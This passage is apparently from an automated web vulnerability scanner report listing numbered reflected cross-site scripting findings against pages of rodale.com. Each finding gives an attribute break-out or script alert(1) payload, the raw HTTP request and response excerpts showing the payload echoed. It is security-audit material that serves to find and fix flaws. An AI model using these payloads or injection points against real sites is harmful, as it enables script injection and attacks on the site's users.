Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/recycling-and-precycling-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2586"><a>5cb2f815f47 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/recycling-and-precycling-0a2586"><a>5cb2f815f47 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:48:41 GMT
Date: Thu, 10 Mar 2011 17:18:42 GMT
Content-Length: 22528
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-recycling-and-precycling-0a2586"><a>5cb2f815f47 node node-958">
...[SNIP]...

2.814. http://www.rodale.com/topic/recycling-and-precycling-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/recycling-and-precycling-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b3d0"><script>alert(1)</script>0560d0a56a6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/recycling-and-precycling-0?5b3d0"><script>alert(1)</script>0560d0a56a6=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:46 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:52 GMT
Date: Thu, 10 Mar 2011 17:17:52 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33216

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/recycling-and-precycling-0?5b3d0"><script>alert(1)</script>0560d0a56a6=1" title="Register" class="moreLink">
...[SNIP]...

2.815. http://www.rodale.com/topic/relationships [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/relationships

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97016"><a>0e0e5cf66e7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic97016"><a>0e0e5cf66e7/relationships HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:54 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:55 GMT
Date: Thu, 10 Mar 2011 17:17:55 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic97016"><a>0e0e5cf66e7 topic97016">
...[SNIP]...

2.816. http://www.rodale.com/topic/relationships [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/relationships

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6ef8"><a>ec7fdebf823 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/relationshipsa6ef8"><a>ec7fdebf823 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:41 GMT
Date: Thu, 10 Mar 2011 17:18:41 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-relationshipsa6ef8"><a>ec7fdebf823 node node-958">
...[SNIP]...

2.817. http://www.rodale.com/topic/relationships [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/relationships

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 77046"><script>alert(1)</script>e3d692d0db was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/relationships?77046"><script>alert(1)</script>e3d692d0db=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:53 GMT
Date: Thu, 10 Mar 2011 17:17:53 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32927

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/relationships?77046"><script>alert(1)</script>e3d692d0db=1" title="Register" class="moreLink">
...[SNIP]...

2.818. http://www.rodale.com/topic/resilience-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/resilience-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c7cd"><a>8287126836 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic5c7cd"><a>8287126836/resilience-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:58 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:47:59 GMT
Date: Thu, 10 Mar 2011 17:18:00 GMT
Content-Length: 22503
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic5c7cd"><a>8287126836 topic5c7cd">
...[SNIP]...

2.819. http://www.rodale.com/topic/resilience-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/resilience-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd563"><a>a2088de1851 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/resilience-0fd563"><a>a2088de1851 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:25 GMT
Date: Thu, 10 Mar 2011 17:18:25 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-resilience-0fd563"><a>a2088de1851 node node-958">
...[SNIP]...

2.820. http://www.rodale.com/topic/resilience-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/resilience-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4643"><script>alert(1)</script>0a588aba7c1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/resilience-0?b4643"><script>alert(1)</script>0a588aba7c1=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:55 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:57 GMT
Date: Thu, 10 Mar 2011 17:17:57 GMT
Content-Length: 32162
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/resilience-0?b4643"><script>alert(1)</script>0a588aba7c1=1" title="Register" class="moreLink">
...[SNIP]...

2.821. http://www.rodale.com/topic/restaurant-dining [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/restaurant-dining

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a6fb"><a>c43bf856bd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic5a6fb"><a>c43bf856bd/restaurant-dining HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:20 GMT
Date: Thu, 10 Mar 2011 17:18:20 GMT
Content-Length: 22518
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic5a6fb"><a>c43bf856bd topic5a6fb">
...[SNIP]...

2.822. http://www.rodale.com/topic/restaurant-dining [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/restaurant-dining

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94d7c"><a>63231fb9df4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/restaurant-dining94d7c"><a>63231fb9df4 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:43 GMT
Date: Thu, 10 Mar 2011 17:18:43 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-restaurant-dining94d7c"><a>63231fb9df4 node node-958">
...[SNIP]...

2.823. http://www.rodale.com/topic/restaurant-dining [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/restaurant-dining

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9ba4"><script>alert(1)</script>e26b54f8d92 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/restaurant-dining?d9ba4"><script>alert(1)</script>e26b54f8d92=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:18 GMT
Date: Thu, 10 Mar 2011 17:18:18 GMT
Content-Length: 31205
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/restaurant-dining?d9ba4"><script>alert(1)</script>e26b54f8d92=1" title="Register" class="moreLink">
...[SNIP]...

2.824. http://www.rodale.com/topic/running [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/running

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d344f"><a>c768ccb889b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd344f"><a>c768ccb889b/running HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:09 GMT
Date: Thu, 10 Mar 2011 17:18:09 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd344f"><a>c768ccb889b topicd344f">
...[SNIP]...

2.825. http://www.rodale.com/topic/running [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/running

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83472"><a>d31ff1264fb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/running83472"><a>d31ff1264fb HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:39 GMT
Date: Thu, 10 Mar 2011 17:18:39 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-running83472"><a>d31ff1264fb node node-958">
...[SNIP]...

2.826. http://www.rodale.com/topic/running [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/running

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9a66"><script>alert(1)</script>df528a20b48 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/running?e9a66"><script>alert(1)</script>df528a20b48=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:07 GMT
Date: Thu, 10 Mar 2011 17:18:07 GMT
Content-Length: 30839
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/running?e9a66"><script>alert(1)</script>df528a20b48=1" title="Register" class="moreLink">
...[SNIP]...

2.827. http://www.rodale.com/topic/salt [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/salt

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e61bf"><a>208798bcd1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topice61bf"><a>208798bcd1/salt HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:16 GMT
Date: Thu, 10 Mar 2011 17:18:16 GMT
Content-Length: 22479
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topice61bf"><a>208798bcd1 topice61bf">
...[SNIP]...

2.828. http://www.rodale.com/topic/salt [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/salt

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 879fd"><a>b7d92b0d9cd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/salt879fd"><a>b7d92b0d9cd HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:48:47 GMT
Date: Thu, 10 Mar 2011 17:18:48 GMT
Content-Length: 22462
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-salt879fd"><a>b7d92b0d9cd node node-958">
...[SNIP]...

2.829. http://www.rodale.com/topic/salt [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/salt

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48053"><script>alert(1)</script>37cefa34880 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/salt?48053"><script>alert(1)</script>37cefa34880=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:15 GMT
Date: Thu, 10 Mar 2011 17:18:15 GMT
Content-Length: 32374
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/salt?48053"><script>alert(1)</script>37cefa34880=1" title="Register" class="moreLink">
...[SNIP]...

2.830. http://www.rodale.com/topic/sexual-health [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/sexual-health

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31ce5"><a>986bf2d6b23 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic31ce5"><a>986bf2d6b23/sexual-health HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:12 GMT
